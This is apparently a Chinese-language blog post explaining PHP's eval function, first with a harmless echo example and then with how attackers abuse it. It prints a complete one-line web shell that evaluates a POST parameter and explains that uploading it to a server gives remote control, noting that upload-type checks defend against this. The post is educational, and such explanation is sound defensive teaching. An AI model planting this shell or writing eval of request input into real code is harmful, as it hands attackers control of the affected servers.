eval或许在我们平时写网页的时候很少使用,但涉及安全领域,php中的eval是非常常见,下面就来说说eval是什么?
一、eval的基本使用
要说eval,首先要从一段连只会写php Helloworld的萌新都能看懂的代码说起。
首先,这段代码的运行结果是什么?
<?php
$str = "echo 'abc';";
echo $str;
?>
估计大家连个运行结果截图都不用看了,就是echo 'abc';
可是,要是将echo改成eval,也就是:
<?php
$str = "echo 'abc';";
eval ($str);
?>
那么程序的运行结果,就变成abc:
也就是上面的echo 'abc',被php执行了!
二、eval被黑客的运用
正常情况,我们写php网页,该是什么就写什么代码,几乎很少情况在eval中镶嵌一段又一段代码来绕晕自己和与我们一同开发的队友。因此eval对于开发者来说,或许是一个冷门的关键字。
可是eval对于黑客来说,就用处大了。比如,在你的服务器,挂个php,或者找个安全漏洞,上传个php到你的服务器,这个php如下。
<?php
eval ($_POST['a']);
?>
就这么简单。
首先,这个php会接收以post形式传过来的,name=a的东西,当然黑客要是嫌麻烦改成get,直接在浏览器的地址栏传参数也行。post、get传参数是很基本的东西了,这就不再赘述了,不会的可以参考《【php】基本语法与页面之间数值传递》(https://blog.csdn.net/yongh701/article/details/41908237)。
然后,由于eval的存在,这个php会执行以post形式传过来的,name=a的东西。这样的话,由于php是能直接操作服务器上的文件的,所以黑客只要能将这个php放到你的服务器,同时用抓包工具找到这php上传之后的地址,基本就是可以控制你的服务器的意思的。
和jsp的菜刀基本是同一个意思
所以,基本上,你看到大部分网站的上传的地方都做了文件上传类型的识别。